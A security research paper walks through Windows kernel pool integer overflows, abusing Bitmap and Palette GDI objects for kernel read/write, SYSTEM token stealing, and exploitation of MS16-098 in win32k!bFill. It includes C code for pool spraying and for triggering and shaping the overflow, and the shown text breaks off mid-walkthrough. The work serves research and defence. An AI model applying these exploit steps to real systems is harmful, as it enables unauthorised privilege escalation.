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Introduction 

In this paper, we will discuss integer overflows that lead to Kernel Pool memory corruption. We will 
go through discovery, triggering, and exploiting the identified issues, by abusing two GDI objects, the 
bitmap and palette objects. The concepts presented in this paper represent how I understood and 
tackled them, they might not be very scientific in that sense. 

 

Standing on the Shoulders of Giants 

• Nicolas Economou Economonu and Diego Juarez Juarez Abusing GDI for ring 0: 
https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives  

• 360 Vulcan:  https://cansecwest.com/slides/2017/CSW2017_PengQiu-
ShefangZhong_win32k_dark_composition.pdf  

• K33n team: https://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-
font-hunt-you-down-in-4-bytes  

• J00ru, Halvar Flake, Tarjei Mandt, Halsten, Alex Ionescu, Nikita Terankov and many others. 

 

The Setup 

• IDA Pro. 
• Zynamics BinDiff. 
• VirtualKD (much love). 
• WinDbg 
• GDIObjDump WinDbg Extension 
• VmWare Worksation: 

- Windows 8.1 x64. 
- Windows 7 SP1 x86. 
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WinDbg Pool Analysis Tips 

!poolused 
This command can be used to view the pool usage of a certain Pool tag or for a certain Pool type. 

 
 
!poolfind 
This command is used to find all locations of allocated objects of the specified Pool tag. 
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!pool 
This command is used to view the Pool page where the specified address is located in. 
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Kernel Pool 

Kernel Pool Types 

The kernel Pool is a sort of Heap memory that is used by the kernel, and it has many types [1], the 
most used are: 

• Desktop Heap: primarily used for Desktop objects like Windows, Classes, Menus, and so on. 
- Allocation Functions: RtlAllocateHeap(), DesktopAlloc(). 
- Free Function: RtlFreeHeap(). 

• Non-Paged Pool: Objects allocated to this pool, have their virtual addresses mapped to 
physical pages on the system, some of the objects allocated in the Non-Paged Session Pool 
are related to system objects, like semaphores, Event objects, etc. 

• Paged Session Pool: This Pool type is the one we will be focused on in this paper; Objects 
allocated to this pool might not have their virtual addresses mapped to physical memory, and 
objects that are stored there don’t always have to be available in memory for normal Kernel 
operations, and can be only valid for the current execution session, like GDI and some User 
objects.  

- For Both the Non-Paged and Paged Pool allocations the ExAllocatePoolWithTag() 
Function is used for allocations, with the 1st argument set to the Pool type if 0x21 
then allocate the object to Paged Session Pool, if 0x29; then the object is Allocated to 
the Non-Paged Pool.  

- The function ExFreePoolWithTag() and ExFreePool() are used to Free Pool memory. 

 

Kernel Pool Allocations Dynamics 

Looking at Win32AllocPool function we can see how the kernel allocates objects to the Pages Session 
Pool type 0x21. 
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The next thing to know about Kernel Pool is that its memory is separated into 0x1000 byte Pages. 
The first allocation to that page would result in the chunk being allocated at the beginning of the page, 
subsequent allocations would be allocated from the end of the page, in most pool allocation behaviour. 

 
In x64 bits systems, the kernel Pool Header is of size 0x10, and size 0x8 for x86 ones [2].  
During tests, it was noticed that requested kernel objects allocation below a certain size gets allocated 
to the Look aside list using a fixed size structure, however the focus will be on normal kernel Pool 
allocations. 
 

 
 

Pool spraying / Feng shui 

The idea behind Pool spraying / feng shui, is to get the Pool memory in a deterministic state. This, is 
done using a series of allocations and deallocations, to create memory holes the same size as the 
vulnerable object where it will be allocated in a memory location adjacent to objects under our control 
that can be later abused.  
If the vulnerable object is not freed within the vulnerable function execution, the memory holes can 
be anywhere in the Pool page, however, if the object gets freed at the end of execution, like the two 
case-studies presented in this paper, then the approach would be to allocate the vulnerable object at 
the end of the Pool page, so the next chunk header won’t be available, and the free call at the end of 
the vulnerable function won’t trigger a BSOD with a BAD POOL HEADER.  
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Forcing Object Allocation at End of Pool Page 

Let’s assume that the vulnerable object is of size 0x40 including the Pool header, the first allocated 
chunk to the page will have to be of the size 0x1000 – 0x40 = 0xFC0 including the Pool Header. 

 

 
Next Allocate the 0x40 bytes left in the Pool pages. 
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If the overflow requires the object that will be abused, to be at a certain offset from the overflowed 
object.  
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Pool Corruption 

Pool corruption can happen for many reasons, use-after-free, linear Pool overflows, Pool Out-of-
bounds writes, and so on. 

Unsigned Integer Overflows 

Unsigned Integer Overflows is the result of unchecked calculations using a controlled integer that will 
wrap the result around MAX_UINT (0xFFFFFFFF) to a small value depending on the calculation, 
resulting in a smaller number than intended, which can have diverse effects depending on how the 
overflowed value is used.  
To have a better understanding of what actually happens in an unsigned integer overflow: 
Assume the system is x86 so UINT sizes are 4 bytes (32 bits), the value 0x80 is added to the supplied 
integer: 
 

0xFFFFFF80 + 0x81 = 00000001 ?? 

 
The above calculations will result in 0x1 on x86 bit systems, and in some cases on x64 bit systems, 
the actual result of the calculation is 0x100000001, which is larger than the 4 bytes which represents 
the size of UINT on x86 operating systems, so it gets truncated to 4 bytes omitting the most significant 
byte resulting in 0x1. 
 

 
 

During testing on x64 based systems, it would be very hard to find a clean x64-bit integer overflow 
since it requires very large numbers, although the concept still applies. However, many of the 
vulnerable functions like the one presented later, would actually cast this value to a 32-bit register 
before use, which results in integer truncation to 32-bit as explained above. 
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Consider what would happen in a function that: 
 

1. Accepts an integer as an argument and does some calculations on it; 
2. Those calculations, result in an integer overflow 
3. Later, the function supplies the resulted small integer value to a memory allocation function; 
4. It then uses the original large integer to: 

a. copy data to the newly allocated buffer (linear overflow), or 
b.  tries to write to an offset that it expects to be within the allocation bounds (OOB 

write).  
These will be the two types of integer overflows covered in this paper. 

Linear Overflow 

Linear overflow happens when data is copied to an object without bounds checking, using memory 
copying loops or functions. This can be due to several reasons. For example, an overflowed small size 
is passed to the allocation function, and the memory copying function uses the original large size to 
copy data to the allocated memory location, or when an object gets allocated using a fixed size, and 
the memory copying loop or function uses a user supplied size without verification. 

 

Out-Of-Bounds(OOB) Write 

In case of OOB write, the application will first allocate an object that is expected to have a fixed size 
or a size larger than a certain value; however, if the size passed to the allocation function suffers from 
an integer overflow, the size can be wrapped to a very small value. 
Later, the application tries to write/read to and index that is expected to be part of the allocated 
object, but since the allocation size was overflowed, the resultant object is much smaller than 
expected, which leads to OOB write/read.  
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Abusing GDI Objects for ring0 Exploit Primitives 

Usually in exploit development, objects corrupted by the 1st stage memory corruption can be used to 
gain a 2nd stage memory corruption primitive. These objects usually have certain members that allow 
such abuse, such as a member that specifies or influences the object or the object’s data size. Thus, 
allowing relative memory read/write, and can be enough in some cases to completely exploit a bug. 
However, if the object has another member, a pointer that points to the object data, it will transform 
the memory corruption primitive into arbitrary memory read/write and will greatly ease the 
exploitation journey. That is why this technique is usually exploited using two objects, one (manager) 
will be used to set the data pointer for the second (usually adjacent) object (worker) to gain arbitrary 
read/write (Game Over). 
In case of the Windows kernel, GDI objects can be used to achieve such primitive, specifically Bitmap 
objects, which was disclosed to my knowledge by k33n team [3], and detailed heavily by Nicolas 
Economou and Diego Juarez in the Abusing GDI objects for ring0 primitives articles and talk [4]. 
I was lucky enough to discover another GDI object that can be abused in the same way, the Palette 
object. To my knowledge relative kernel memory read/write was referred to in two slides of the 360 
Vulcan team talk Win32k Dark Composition [10], but further investigation while trying to exploit 
MS17-017 on x64 bit systems resulted in the finding; this being that the Palette object can also be used 
to gain arbitrary kernel memory read/write as well, which makes it as powerful as the Bitmap abuse 
technique.   
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Relative Memory Read/Write 

Relative memory read/write, is when an exploit primitive allows us to read/write relative to the 
location of a certain memory address, and in this case, object pointers. This is achieved by corrupting 
the GDI object to increase its size, which is usually the first step after the bug is triggered into gaining 
full arbitrary kernel memory read/write. 
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Arbitrary Memory Read/Write 

Arbitrary memory read/write in general, is when an object has a member that is a pointer to the 
objects data (data pointer). If this pointer was to be corrupted or altered, whenever a function that is 
used for reading/writing of the objects data is called, it will try to read/write from the altered pointer, 
giving a powerful exploitation primitive to read/write to/from anywhere in memory.  
To explain further consider the manager/worker approach. Object A (Manager) whose size was 
extended, is now able to read/write past the data limit. Reaching Object B (Worker) data pointer 
*Data, by reading the contiguous memory from Object A data until Object B *Data and replacing the 
offset of Object B data pointer, with a leaked or calculated address. Then when the exploit 
reads/writes to Object B data, it will do so, to a pointer under the attacker control. 
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SURFOBJ - Bitmaps Objects 

Bitmap objects are represented in kernel memory by Pool tag Gh?5, Gla5 and type _SURFOBJ. The 
structure is documented at msdn [5], ReactOS 32-bit version [6], Diego Juarez’s blog post for x64 bit 
version[7]. This is the technique that will be used to exploit MS16-098, later in the paper, and to my 
knowledge first disclosed by k33n Team [3] and later heavily analysed and detailed by Diego Juarez in 
his blog post[7], and talk[4] with Nicolas Economou both back in 2015. 

SURFOBJ structures 

The most interesting members of the SURFOBJ object are the sizlBitmap, which represent a SIZEL 
structure specifying the width and height of the bitmap. pvScan0 and pvBits are pointers to the bitmap 
bits. Depending on the bitmap type, one of those pointers will be used. The bitmap bits are usually 
located in memory after the SURFOBJ. 
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Allocation 

CreateBitmap function is used to allocate Bitmap objects, as defined below. 

 
Allocate 2000 bitmap objects: 

for (int y = 0; y < 2000; y++) { 

 HBITMAP bmp = CreateBitmap(0x3A3, 1, 1, 32, NULL);} 

Free 

DeleteObject function can be used to free Bitmap objects. 
DeleteObject(HBITMAP); 
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Read Memory Function 

The GetBitmapBits function can be used to read bitmap supplied count bytes (cBytes) from the 
location pointed to by pvScan0/pvBits depending on the bitmap type, where cBytes is less than 
(sizlBitmap.Width * sizlBitmap .Height * BitsPerPixel).  

 

Write Memory Function 

The SetBitmapBits function, will be used to write bitmap supplied count bytes (cBytes) from the 
location pointed to by pvScan0/pvBits depending on the bitmap type, where cBytes is less than 
(sizlBitmap.Width * sizlBitmap .Height * BitsPerPixel). 
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Relative Memory Read/Write sizlBitmap 

The sizlBitmap member specifies a SIZEL structure that contains the width and height, in pixels, of the 
surface. The SIZEL structure is identical to the SIZE structure. 

 
All further bitmap operations, like reading/setting the bitmap bits, depend on sizlBitmap to calculate 
the size of the bitmap, and perform this operation based on this size. 
Size = Width * Height * BitsPerPixel 
 

Arbitrary Read/Write pvScan0/pvBits 

pvScan0 is a pointer to the first scan line of the bitmap. If the bitmap format is BMF_JPEG or 
BMF_PNG, this member is NULL, and pvBits is used as the pointer to the bitmap data. 
Basically, this pointer is used when trying to get/set the bitmap data, depending on the type it can be 
either pvScan0 or pvBits. 
 

Exploitation Scenario 

In Diego Juarez’s and Nicolas Economou’s talk [3], they did a full detailed analysis on abusing bitmap 
objects, using the Manager/Worker approach in two ways. The idea was to use a Manager Bitmap 
object, which sizelBitmap or pvScan0 members can be controlled, in order to control the pvScan0 
member of a second Worker bitmap, and gain arbitrary kernel memory read/write. 
The focus will be on the technique using a Manager bitmap were the sizlBitmap member is under our 
control, to extend that bitmap to gain relative memory read/write and then, control the adjacent 
Worker bitmap object pvScan0 member. 
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XEPALOBJ - Palette Objects 

The discovered new technique will be using Palette Objects. Palettes specify the colours that can be 
used in a device context, they are represented in kernel memory by Pool tag Gh?8, Gla8, and have the 
type name _PALETTE, XEPALOBJ or PALOBJ in Win32k debugging symbols.  
Personally, since some of the analysed functions reference XEPALOBJ that’s what I decided to go with. 
The kernel structure is undocumented on msdn but the x86 version can be found at ReactOS[8], and 
both x86 and x64 versions can be found in Deigo Juarez’s amazing windbg extension GDIObjDump[9]. 
The relative memory read/write technique was mentioned in 360 Vulcan team talk[10] in March 2017. 
However, to my knowledge the full technique including arbitrary memory read/write, was not 
disclosed before.  

X86 and X64 PALETTE structure 

The most interesting members of the XEPALOBJ structure are the cEntries which represent the 
number of members in the PALETTEENTRY array, and the *pFirstColor, which is a pointer to the 
first member of the PALETTEENTRY array apalColors located at the end of the structure as seen 
below. 
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KAlloc 

CreatePalette function is used to allocate Palette objects. It takes a LOGPALETTE structure as 
argument, allocations lower than 0x98 bytes for x86 systems and 0xD8 for x64 bits, gets allocated to 
the look aside list. 
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Each PALETTEENTRY is 4 bytes, for both x86 and x64. 
 

 
 
Allocate 2000 Palettes 
 

HPALETTE hps; 

LOGPALETTE *lPalette; 

lPalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 

1) * sizeof(PALETTEENTRY)); 

lPalette->palNumEntries = 0x1E3; 

lPalette->palVersion = 0x0300; 

for (int k = 0; k < 2000; k++) { 

 hps = CreatePalette(lPalette); 

} 

 

KFree 

To free a Palette object, the DeleteObject function can be used and the handle to Palette is supplied 
as argument:  

DeleteObject(HPALETTE) 
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Read Memory Function 

The GetPaletteEntries function is used to read Palette entries nEntries, if lower, the 
XEPALOBJ.cEntries starting from offset iStartIndex, from the Palette’s apalColors array, pointed to 
by pFirstColor in the XEPALOBJ corresponding to the Palette handle hpal, to the provided buffer 
lppe. The function is defined as below. 
 
 

 
 

Write Memory Function 

There are two functions that can be used to write Palette entries nEntries, if lower, the 
XEPALOBJ.cEntries starting from offset iStart || iStartIndex, from the Palette’s apalColors array, 
pointed to by pFirstColor in the XEPALOBJ corresponding to the Palette handle hpal, from the 
provided buffer lppe. These functions are SetPaletteEntries, and AnimatePalette. 
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Relative Memory Read/Write cEntries  

The cEntries member in XEPALOBJ is used to reference the number of Entries in the Palettes 
apalColors array, if this member was to be overwritten with a larger number then whenever 
read/write operations happen on the Palette it will read/write beyond the kernel memory allocated 
for it.  

Arbitrary memory read/write *pFirstColor  

All read/write operations by referencing the *pFirstColor, which is the pointer the first entry in the 
apalColors array, by changing this pointer in a given Palette, it can be used to read/write from any 
location in kernel memory. 
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Exploitation Scenario 

Palette objects can be abused the same way as Bitmap objects, by using a Manager Palette whose 
cEntries, or *pFirstColor members are under our control, to control the *pFirstColor of a second 
Worker Palette and gain arbitrary kernel memory read/write primitive. 
The focus will be on the situation where the cEntries of the Manager Palette object can be controlled, 
by an overflow, to gain a relative memory read/write to the location of the Manager Palette in kernel 
memory, and use it to overwrite the *pFirstColor of the adjacent Worker Palette object. 
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Technique Restrictions 

The are some restrictions to using the Palette technique. 
Firstly, when overflowing the cEntires, the value has to be bigger than 0x26 for x86 systems, and 0x36, 
since the minimum size allocated for XEPALOBJ is 0x98 for x86 bit systems, and 0xd8 for x64 bit 
ones, so even if the cEntires is 0x1 if it was overwritten by 0x6 for example, will result in 0x6 * 0x4 = 
0x18 which is less than the minimum allocated Palette size. 
When using the SetPaletteEntries Function to write Entries to memory, the overflow should not 
overwrite certain members of the XEPALOBJ (hdcHead, ptransOld and ptransCurrent) 
 

X86 X64 
typedef struct _PALETTE64 

{ 

..  

    HDC             hdcHead;       
// 0x1c  

…  

    PTRANSLATE      
ptransCurrent; // 0x30  

    PTRANSLATE      ptransOld;    
// 0x34  

 

… 

} PALETTE, *PPALETTE; 

typedef struct _PALETTE64 

{ 

..  

    HDC             hdcHead;       
// 0x28  

…  

    PTRANSLATE      
ptransCurrent; // 0x48  

    PTRANSLATE      ptransOld;    
// 0x50  

 

… 

} PALETTE64, *PPALETTE64; 

 
The user-mode SetPaletteEntries calls NTSetPaletteEntries->GreSetPaletteEntries which has the first 
restriction on hdcHead member, if this member is set the code path taken will end with an error or 
BSOD highlighted in Yellow below. 
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Before the code reaches this point the GreSetPaletteEntries will call XEPALOBJ::ulSetEntries, which 
checks the pTransCurrent and pTransOld members and if they are set, a code path will be taken that 
will AND the values pointed by them with 0 blocks, in orange colours, although if these locations were 
allocated then this checks shouldn’t result in BSOD. 

 
The only restriction on setting Palette’s using the AnimatePalettes user-mode function, is that the 
most significant byte of the memory location pointed to by *pFirstColor has to be an ODD value, this 
proved challenging on x64 bit systems, but not so much on x86 ones, as shown in 
XEPALOBJ::ulAnimatePalette below. Although this will not result in BSOD but will error out without 
writing the new value to the memory location. 
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EPROCESS SYSTEM Token Stealing 

Each running process on the system is represented by the _EPROCESS structure in the kernel, this 
structure contains allot of interesting members, such as ImageName, SecurityToken, 
ActiveProcessLinks, and UniqueProcessId. The offset of these members changes from OS version to 
the other. The address of the SYSTEM process EPROCESS structure in kernel can be calculated by 
getting address by:   
KernelEPROCESSAddress = kernelNTBase + (PSInitialSystemProcess()-UserNTImageBase) 
EPROCESS structure interesting members’ offsets: 
Windows 8.1 x64 
 

 
 
Windows 7 SP1 x86 

 

SecurityToken 

SecurityToken represents the security level that the current process has access to, whenever the 
process requests access to a certain privilege the EPROCESS SecurityToken is used to verify that the 
calling process has access to the requested resource. 

ActiveProcessLinks  

ActiveProcessLinks is a LIST_ENTRY object, that contains pointers to the next/previous active 
processes EPROCESS entry in the kernel. 
 

typedef struct _LIST_ENTRY { 

struct _LIST_ENTRY  *Flink; 

struct _LIST_ENTRY  *Blink; 

} LIST_ENTRY, *PLIST_ENTRY; 
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UniqueProcessId 

The UniqueProcessId as the name suggests is the Process PID. 
 

Game Plan 

1. Get Initial SYSTEM process EPROCESS kernel address. 
2. Use arbitrary read memory primitive to get the SecurityToken and ActiveProcessLinks. 
3. Get current process EPROCESS structure address, by iterating over the ActiveProcessLinks 

entries, till the ActiveProcessLinks->Flink.UniqueProcessId matches GetCurrentProcessId(). 
4. Use arbitrary memory write primitive to replace the current process SecurityToken with the 

SYSTEM process one. 
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MS16-098 RGNOBJ Win32k!bFill Integer Overflow leading to Pool 
Overflow 

Understanding the Bug 

The MS16-098 update file was downloaded and expanded using Expand.exe. Then, binary diffing was 
performed between the new win32k.sys file version 6.3.9600.18405 and its older version, 
6.3.9600.17393, using IDA pro Zynamics BinDiff plugin. An interesting function was found to be 
modified with similarity rating 0.98. This function was win32k!bFill. Below is the difference between 
the two versions. 

 
The diff shows that an integer overflow was fixed, by adding the function UlongMult [11], which is 
used to detect integer overflows by multiplying the supplied two ULONG integers. If the result 
overflows the object type, which is a ULONG, it returns an error 
“INTSAFE_E_ARITHMETIC_OVERFLOW”. 
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This function was added right before the call PALLOCMEM2 that was called with one of the checked 
arguments [rsp+Size]. This confirms that this integer overflow would lead to an allocation of a small 
sized object; the question then being – can this value be somehow controlled by the user? 
When faced with a big problem, its recommended to break it down into smaller problems. As kernel 
exploitation is a big problem, taking it one step at a time is the way to go. The exploitation steps are 
as follows: 

1. Reaching the vulnerable function. 
2. Controlling the allocation size. 
3. Kernel pool feng shui. 
4. Analysing and controlling the overflow. 
5. Abusing the Bitmap GDI objects. 
6. Fixing the overflowed header. 
7. Stealing SYSTEM Process Token from the EPROCESS structure. 
8. SYSTEM !! 

Reaching the Vulnerable Function 

First, we need to understand how this function can be reached by looking at the function definition in 
IDA. It can be seen that the function works on EPATHOBJ and the function name “bFill” would suggest 
that it has something to do with filling paths. A quick Google search for “msdn path fill” brought me 
to the function BeginPath and the using Paths example [12]. 
Theoretically speaking, if we take out the relevant code from the example, it should reach the 
vulnerable function. 
 
// Get Device context of desktop hwnd 

hdc = GetDC(NULL);  

// begin the drawing path 

BeginPath(hdc);  

// draw a line between the supplied points 

LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) 
(flRadius * aflSin[i])));  

// End the path 

EndPath(hdc); 

// Fill Path 

FillPath(hdc); 

 
That didn’t work so I started to dive into why by iterating backwards through the Xrefs to the 
vulnerable function and adding a break point in WinDbg, at the start of each of them. 
 
EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill() 

 
Running our sample code again, the first function that gets hit, and then doesn’t continue to the 
vulnerable function was EngFastFill. Without diving deep into reversing this function and adding more 
time of boring details to the reader we can say that, in short, this function is a switch case that will 
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eventually call bPaintPath, bBrushPath, or bBrushPathN_8x8, depending if a brush object is associated 
with the hdc. The code above didn’t even reach the switch case, it failed before then, on a check that 
was made to check the device context DC type, thus it was worth investing in understanding Device 
Contexts types [13]. 
 

 
 
Looking at the information provided, it was worth trying to switch the device type to Memory(Bitmap) 
as follows: 
 

// Get Device context of desktop hwnd 

HDC hdc = GetDC(NULL); 

// Get a compatible Device Context to assign Bitmap to 

HDC hMemDC = CreateCompatibleDC(hdc); 

// Create Bitmap Object 

HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); 

// Select the Bitmap into the Compatible DC 

HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); 

//Begin path 

BeginPath(hMemDC); 

// draw a line between the supplied points. 

LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) 
(flRadius * aflSin[i])));          

// End the path 

EndPath(hMemDC); 

// Fill the path 

FillPath(hMemDC); 

 
Turns out, that was exactly what was needed to reach the vulnerable function bFill. 
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Controlling the Allocation Size 

Looking at the code where the vulnerable allocation is made. 

 
Before the allocation is made, the function checks whether the value of [rbx+4] (rbx points to our 
first argument which is the EPATHOBJ), is larger than 14. If it was, then the same value is multiplied 
by 3 where the overflow happens. 

lea ecx, [rax+rax*2]; 

The overflow happens for two reasons: one, the value is being cast into the 32-bit register ecx and 
second, [rax+rax*2] means that the value is multiplied by 3. Doing some calculations, we can reach 
the conclusion that the value needed to overflow this function would be: 

0xFFFFFFFF / 3 = 0x55555555 

 
Any value greater than the value above, would overflow the 32-bit register. 

0x55555556 * 3 = 0x100000002 

 
Then the result of this multiplication is shifted left by a nibble 4-bits, usually a shift left by operation, is 
considered to be translated to multiplication by 2^4 

0x100000002 << 4 | 0x100000002 * 2^4) = 0x00000020 (32-bit register value) 

 
Still, there is no conclusion on how this value can be controlled, so I decided to read more posts about 
Windows GDI exploitation specially using PATH objects, to try and see if there was any mention to 
this. I stumbled upon this awesome blog post[14] by Nicolas Economou @NicoEconomou of 
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CoreLabs, which was discussing the MS16-039 exploitation process. The bug discussed in this blog 
post had identical code to our current vulnerable function, as if someone copy pasted the code in 
these two functions. It is worth mentioning that it would have taken me much more time to figure out 
how to exploit this bug, without referencing this blog post, so for that I thank you @NicoEconomou. 
Continuing, the value was the number of points in the PATH object, and can be controlled by calling 
PolylineTo function multiple times. The modified code that would trigger an allocation of 50 Bytes 
would be: 
//Create a Point array  

static POINT points[0x3fe01]; 

// Get Device context of desktop hwnd 

HDC hdc = GetDC(NULL); 

// Get a compatible Device Context to assign Bitmap to 

HDC hMemDC = CreateCompatibleDC(hdc); 

// Create Bitmap Object 

HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); 

// Select the Bitmap into the Compatible DC 

HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); 

//Begin path 

BeginPath(hMemDC); 

// Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01. 

for (int j = 0; j < 0x156; j++) { 

 PolylineTo(hMemDC, points, 0x3FE01); 

 } 

} 

// End the path 

EndPath(hMemDC); 

// Fill the path 

FillPath(hMemDC); 

 
By calling PolylineTo with number of Points 0x3FE01 for 0x156 times would result in. 

0x156 * 0x3FE01 = 0x5555556 

Notice that the number is smaller than the number produced by the previous calculations, the reason 
is that in practice, when the bit is shifted left by 4, the lowest nibble will be shifted out of the 32-bit 
register, and what will be left is the small number. The other thing worth mentioning is that the 
application will add an extra point to our list of points, so the number that is passed to the overflowing 
instruction will be in reality 0x5555557. Let’s do the maths and see how it will work. 

0x5555557 * 0x3 = 0x10000005 

0x10000005 << 4 = 0x00000050 

 
By that point, the size of the allocation will be 50 bytes and the application will try to copy 0x5555557 
points to that small memory location resulting in a linear overflow of adjacent memory, which will 
quickly give us a BSOD, and with that successfully triggering the bug! 
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Kernel Pool Feng Shui  

The idea is to force the allocation of our vulnerable object to be adjacent to an object under our 
control. The object of choice would be GDI Bitmaps, with pool tag Gh05, which is allocated to the 
same Page Session Pool and can be controlled using SetBitmapBits/GetBitmapBits to write/read to 
arbitrary memory locations. 
The crash happens because at the end of the bFill function, the allocated object is freed, when an 
object is freed, the kernel validates the adjacent memory chunks pool header; to check for corruption. 
Since we overflowed the adjacent page(s), this check will fail and a BSOD will happen. The trick to 
mitigate crashing on this check, is to force the allocation of our object at the end of memory page and 
control the overflow. This way, the call to free() will pass normally. 
Below is the flow of allocations/deallocations: 

HBITMAP bmp; 

// Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of 

page. 

for (int k = 0; k < 5000; k++) { 

 bmp = CreateBitmap(1670, 2, 1, 8, NULL);  

 bitmaps[k] = bmp; 

} 

 
Start by 5000 allocations of Bitmap objects with size 0xf80. This will eventually start allocating new 
memory pages and each page will start with a Bitmap object of size 0xf80, leaving 0x80 bytes space at 
the end of the page. To check if the spray worked we can break on the call to PALLOCMEM from 
within bFill and use !poolused 0x8 Gh?5 to see how many bitmap objects were allocated. The other 
thing, is how to calculate the sizes which when supplied to the CreateBitmap() function translate into 
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the Bitmap objects allocated by the kernel. The closest calculations I could find were mentioned by 
Feng yuan in his book[11]. It was a close calculation but doesn’t add up to the allocation sizes observed. 
By using the best way a hacker can know, trial and error, I changed the size of the bitmap and see the 
allocated size object that was allocated using !poolfind command. 
 
// Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling 

in the space at end of page. 

HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); 

HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); 

for (INT i = 0; i < 7000; i++) { 

 hAccel = CreateAcceleratorTableA(lpAccel, 1); 

 hAccel2 = CreateAcceleratorTableW(lpAccel, 1); 

 pAccels[i] = hAccel; 

 pAccels2[i] = hAccel2; 

} 

 
Then, 7000 allocations of accelerator table objects (Usac). Each Usac is of size 0x40, so allocating two 
of them will allocate 0x80 bytes of memory. This, will fill the 0x80 bytes left from the previous 
allocation rounds and completely fill our pages (0xf80 + 80 = 0x1000). 
 

// Delete the allocated bitmaps to free space at beginning of pages 

for (int k = 0; k < 5000; k++) { 

 DeleteObject(bitmaps[k]); 

} 
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Next de-allocation of the previously allocated object will leave our memory page layout with 0xf80 
free bytes at the beginning of the page. 
 
// Allocate Gh04 5000 region objects of size 0xbc0 which will reuse the 

free-ed bitmaps memory. 

for (int k = 0; k < 5000; k++) { 

 CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 

} 
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Allocating 5000 bytes of region objects (Gh04) of size 0xbc0. This size is essential, since if the bitmap 
was placed directly adjacent to our vulnerable object, overflowing it will not overwrite the interesting 
members of the Bitmap object, which can be abused. Also, the calculated size of the allocated object 
in relation to the arguments supplied to CreateEllipticRgn function, was found through trial and error. 
At this point of the feng shui, the kernel page has 0xbc0 Gh04 object in the beginning of the page, and 
0x80 at the end of the page, with free space of 0x3c0 bytes. 
 

// Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects 

previously allocated 

for (int k = 0; k < 5000; k++) { 

 bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size  = 3c0 

 bitmaps[k] = bmp; 

} 

 
The allocation of 5000 bitmap objects of size 0x3c0 to fill this freed memory, the bitmap objects 
becoming the target of our controlled overflow. 
 

// Allocate 1700 clipboard objects of size 0x60 to fill any free memory 

locations of size 0x60 

for (int k = 0; k < 1700; k++) { //1500 

 AllocateClipBoard2(0x30); 

} 

Next part is the allocation of 1700 Clipboard objects (Uscb) of size 0x60, just to fill any memory 
locations that have size 0x60 prior to allocating our vulnerable object; so, when the object gets 
allocated, it almost certainly will fall into our memory layout. 
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// Delete 2000 of the allocated accelerator tables to make holes at the 

end of the page in our spray. 

for (int k = 2000; k < 4000; k++) { 

 DestroyAcceleratorTable(pAccels[k]); 

 DestroyAcceleratorTable(pAccels2[k]); 

} 

 
The last step of our kernel pool feng shui, was to create holes in the allocated accelerator table objects 
(Usac), exactly 2000 holes. The kernel feng shui function is also called right before the bug is triggered, 
if all went well, our vulnerable object will be allocated into one of these holes right where its intended 
to be at the end of the memory page near a bitmap object. 
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Analysing and Controlling the Overflow. 

Now it’s time to analyse how the overflow can be controlled. To better understand this, we need to 
have a look at the addEdgeToGet function, which copies the points to the newly allocated memory. 
In the beginning, the addEdgeToGet assigns the r11 and r10 register to the values of the current 
point.y [r9+4] and the previous point.y [r8+4]. 

 
Later, a check is performed, which checks whether the previous point.y is less than [r9+0c], which in 
this case was 0x1f0; If so, the current point will be copied to our buffer, if not, the current point to 
be skipped. It was noticed also that the point.y value was shifted left by a nibble, i.e. if the previous 
point.y = 0x20, the value will be 0x200. 
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Now that we have the primitives of how we can control the overflow, we need to find out how the 
values 0x1 and 0xFFFFFFFF will be copied across. In the first check, the function will subtract the 
previous point.y at r10 from the current point.y at ebp. If the results were unsigned, it will copy the 
value 0xFFFFFFFF to offset 0x28 of our buffer pointed to by rdx. The assumption here, is that this 
function checks the direction of which the current point.y is to the previous point.y. 

 
In the second check, the same is done for point.x. The previous point.x at r8 is subtracted from the 
current point.x at ebx and if the results are unsigned, the function will copy 0x1 to offset 0x24 of our 
buffer pointed to by r15. This makes sense since it corresponds with the previous check copying to 
offset 0x28, as well as the fact that we want to only overflow the sizlBitmap structure. With point 
structures that are of size 0x30 bytes, also it copied the value 1 to the hdev member of the object 
pointed to by [r15+0x24]. 
Calculating the number of points to overflow the buffer to reach the sizLBitmap member, was easy 
and the way it was enforced by the exploit code was simply changing the value of the previous point.y 
to a larger value that would fail the main check discussed previously, and thus, the points will not be 
copied, looking at the code snippet from the exploit. 
This is how the initial points array was initialized, notice the value of points[2].y is set to 20 that is 
0x14 in hex, which is less than 0x1f and will thus copy the subsequent point to our allocated buffer. 
 

static POINT points[0x3fe01]; 

for (int l = 0; l < 0x3FE00; l++) { 

 points[l].x = 0x5a1f; 

 points[l].y = 0x5a1f; 

} 

points[2].y = 20; //0x14 < 0x1f 

points[0x3FE00].x = 0x4a1f; 

points[0x3FE00].y = 0x6a1f; 

 
  



	
Demystifying Kernel Exploitation by 

Abusing GDI Objects 2017-07-18	
		 	

	

pg.	45	
	

Then a check was added to the loop calling PolyLineTo, to check if the loop iteration was bigger than 
0x1F, then change the value of points[2].y to a larger value that will be bigger than 0x1F0 and thus fail 
the check and the subsequent points will not be copied to our buffer. 
 

for (int j = 0; j < 0x156; j++) { if (j > 0x1F && points[2].y != 0x5a1f) { 

  points[2].y = 0x5a1f; 

 } 

 if (!PolylineTo(hMemDC, points, 0x3FE01)) { 

  fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", 

GetLastError()); 

 }} 

 
This will effectively control the overflow as such that the function will overflow the buffer until the 
